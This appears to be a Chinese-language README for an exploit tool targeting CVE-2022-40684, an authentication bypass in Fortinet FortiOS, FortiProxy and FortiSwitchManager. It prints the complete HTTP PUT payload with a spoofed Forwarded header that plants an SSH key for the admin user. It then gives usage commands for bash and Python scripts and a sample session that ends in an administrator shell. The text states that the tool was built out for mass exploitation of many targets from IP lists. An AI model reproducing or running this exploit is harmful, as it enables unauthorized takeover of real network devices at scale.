
针对Fortinet FortiOS、FortiProxy和FortiSwitchManager中CVE-2022-40684认证绕过漏洞的概念验证利用工具。通过精心构造的HTTP PUT请求注入SSH密钥以获取管理员访问权限。
目前它是一个针对 Fortinet FortiOS、FortiProxy 和 FortiSwitchManager 设备的 CVE-2022-40684 概念验证副本。
从 https://github.com/horizon3ai/CVE-2022-40684 复制而来
该利用工具使用简单载荷:
PUT /api/v2/cmdb/system/admin/admin HTTP/1.1
Host: {{Hostname}}
User-Agent: Report Runner
Content-Type: application/json
Forwarded: for=[127.0.0.1]:8000;by=[127.0.0.1]:9000;
Content-Length: 610
{
"ssh-public-key1": "fake-key"
}
此概念验证滥用身份验证绕过漏洞,为指定用户设置 SSH 密钥。
将其发展为支持多目标、多服务器的全规模利用工具,用于大规模利用。
1. chmod +x cve-2022-40684.sh
2. ./cve-2022-40684 <目标IP>
或
2. ./cve-2022-40684 <文件名>
示例:
./cve-2022-40684.sh ips.txt
python3 CVE-2022-40684.py -t <目标IP> --username admin --key-file ~/.ssh/id_rsa.pub
示例:
root@kali:~# python3 CVE-2022-40684.py -t 10.0.40.67 --username admin --key-file ~/.ssh/id_rsa.pub
[+] SSH key for admin added successfully!
root@kali:~# ssh [email protected]
fortios_7_2_1 #
config Configure object.
get Get dynamic and system information.
show Show configuration.
diagnose Diagnose facility.
execute Execute static commands.
alias Execute alias commands.
exit Exit the CLI.